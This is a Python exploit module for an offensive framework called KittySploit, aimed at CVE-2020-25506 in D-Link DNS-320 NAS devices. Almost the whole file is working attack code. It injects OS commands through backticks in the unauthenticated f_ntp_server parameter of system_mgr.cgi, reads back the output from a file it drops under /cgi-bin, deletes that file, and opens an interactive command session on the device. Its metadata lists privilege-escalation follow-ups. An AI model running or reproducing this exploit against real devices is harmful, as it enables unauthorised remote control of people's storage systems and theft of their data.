D-Link DNS-320 - system_mgr.cgi Command Injection (CVE-2020-25506)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DNS-320 system_mgr.cgi NTP command injection (CVE-2020-25506) — opens execute session."""

import re
import secrets
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link DNS-320 - system_mgr.cgi Command Injection (CVE-2020-25506)',
        'description': (
            'Exploits CVE-2020-25506 by injecting OS commands into f_ntp_server on '
            '/cgi-bin/system_mgr.cgi, writing stdout under /cgi-bin/<token>.txt. Opens an '
            'interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-25506'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10183',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-25506',
        ],
        'tags': ['dlink', 'nas', 'rce', 'cmdi', 'unauth', 'kev', 'cve-2020-25506'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/http/cve_2020_25506_detect',
                ],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        name = secrets.token_hex(6) + '.txt'
        safe = str(cmd).replace('`', '').replace('"', '').replace("'", '')
        inj = (
            f'/cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&'
            f'f_ntp_server=`{safe}%20>%20{name}`'
        )
        self.http_request(method='GET', path=inj, allow_redirects=False)
        time.sleep(0.2)
        r = self.http_request(method='GET', path=f'/cgi-bin/{name}', allow_redirects=False)
        self.http_request(
            method='GET',
            path=(
                f'/cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&'
                f'f_ntp_server=`rm%20{name}`'
            ),
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2020-25506 confirmed: id via system_mgr.cgi',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'No command output observed',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()